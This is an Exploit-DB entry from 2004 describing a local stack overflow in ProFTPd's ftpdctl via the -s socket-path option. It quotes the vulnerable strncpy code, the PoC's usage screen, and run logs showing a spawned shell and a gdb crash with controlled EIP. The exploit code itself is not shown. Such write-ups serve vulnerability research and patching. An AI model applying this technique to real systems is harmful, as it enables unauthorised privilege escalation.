Exploit-DB #394
Description: ProFTPd - 'ftpdctl' 'pr_ctrls_connect' Local Overflow
Type: local
Platform: linux
Date: 2004-08-13
Author: pi3

Exploit:
/*
 * This is simple local exploit (Proof of Concept?) for local bug in ProFTPd
 * not in default options (must be configured with option --enable-ctrls).
 * Bug exist in func
tion pr_ctrls_connect() in file "src/ctrls.c", look:
 *
 * "src/ctrls.c"
 * int pr_ctrls_connect(const char *socket_file) {
 *   ...
 *   struct sockaddr_un cl_sock, ctrl_sock;
 *
 *   ...
 *   ...
 *   memset(&ctrl_sock, 0, sizeof(ctrl_sock));
 *   ...
 *   ...
 *   strncpy(ctrl_sock.sun_path, socket_file, strlen(socket_file));
 *   ...
 *   ...
 * }
 *
 * How we can saw there is bad call for function strncpy(). Now look here
 * how look structure sockaddr_un:
 *
 * "/usr/include/X11/Xos.h"
 * ...
 * ...
 * #define X_NO_SYS_UN 1
 *
 * struct sockaddr_un {
 *         short   sun_family;
 *         char    sun_path[108];
 * };
 * #endif
 * ...
 * ...
 *
 * Hm more interesting... but what the fuck is socket_file?
 * Look here:
 *
 * "src/ftpdctl.c"
 * int main(int argc, char *argv[]) {
 *   ...
 *   char *socket_file = RUN_DIR "/proftpd.sock";
 *   ...
 *
 *   ...
 *   ...
 *   while ((optc = getopt(argc, argv, cmdopts)) != -1) {
 *     switch (optc) {
 *       ...
 *       ...
 *       case 's':
 *         if (*optarg != '/') {
 *           fprintf(stderr, "%s: alternate socket path must be an absolute "
 *             "path\n", program);
 *           return 1;
 *         }
 *
 *         socket_file = optarg;
 *         break;
 *       ...
 *       ...
 *   }
 *   ...
 *   ...
 *   if ((sockfd = pr_ctrls_connect(socket_file)) < 0) {
 *     fprintf(stderr, "%s: error contacting server: %s\n", program,
 *       strerror(errno));
 *     exit(1);
 *   }
 *   ...
 *   ...
 * }
 *
 * Ok... so we can control for strlen(socket_file) - third argument for strncpy()
 * and what bytes will be copy to destiny array sa we can do overflow.
 * Global call to vulnerability function who have bad call for strncpy() is
 * in the same function where we have control with socket_file.
 *
 * Ok know look for how work simple local PoC sploit:
 *
 * root@darkstar:~# ./p
 *
 *         ...::: -=[ PoC for ftpdctl by pi3 (pi3ki31ny) ]=- :::...
 *
 *         Ussage:
 *         [+] ./p [options]
 *
 *             -? <this help screen>
 *             -s choose a system of sploiting:
 *                    1 - sploiting by using environment
 *                    2 - PoC bypass non-exec stack (ret-to-libc)
 *             -o <offset>
 *             -p PATH
 *
 * root@darkstar:~#
 *
 * Let's run some option and look wheter it's work:
 *
 * root@darkstar:~# ./p -s 1
 *
 *         ...::: -=[ PoC for ftpdctl by pi3 (pi3ki31ny) ]=- :::...
 *
 *         [+] Bulding buffors!
 *         [+] Using adres 0xbfffee01
 *
 * Executing the vuln program - /usr/local/bin/ftpdctl
 *
 * sh-2.05# exit
 * exit
 * root@darkstar:~#
 *
 * Ok, this option work good. What about second option? 
 * 
 * root@darkstar:~# ./p -s 2                                                  
 *                                                                            
 *         ...::: -=[ PoC for ftpdctl by pi3 (pi3ki31ny) ]=- :::...           
 *                                                                            
 *         [+] Bulding buffors!                                               
 *         [+] Using LIBC_SYSTEM adres 0x40096870                             
 *         [+] Using LIBC_NEXT__ adres 0x41414141                             
 *         [+] Using "/BIN/SH"   adres 0xbfffee01                             
 *                                                                            
 * Executing the vuln program - /usr/local/bin/ftpdctl                        
 *                                                                            
 * sh-2.05# exit                                                              
 * exit                                                                       
 * Segmentation fault (core dumped)                                           
 * root@darkstar:~# gdb -q ftpdctl core                                       
 * (no debugging symbols found)...                                                 
 * Core was generated by `/usr/local/bin/ftpdctl -s /AAAAAAAAAAAAAAAAAAAAAAAA
 * AAAAAAAAAAAAAAAAAAAAAAAAAAAA'.                                             
 * Program terminated with signal 11, Segmentation fault.                     
 * Reading symbols from /lib/libcrypt.so.1...done.                            
 * Loaded symbols for /lib/libcrypt.so.1                                      
 * Reading symbols from /lib/libc.so.6...done.                                
 * Loaded symbols for /lib/libc.so.6                                          
 * Reading symbols from /lib/ld-linux.so.2...done.                            
 * Loaded symbols for /lib/ld-linux.so.2                                      
 * #0  0x41414141 in ?? ()                                                    
 * (gdb) x/40x 0xbfffee01                                                     
 * 0xbfffee01:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee11:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee21:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee31:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee41:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee51:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee61:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee71:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee81:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee91:     0x60606060      0x60606060      0x60606060      0x60606060 
 * (gdb) q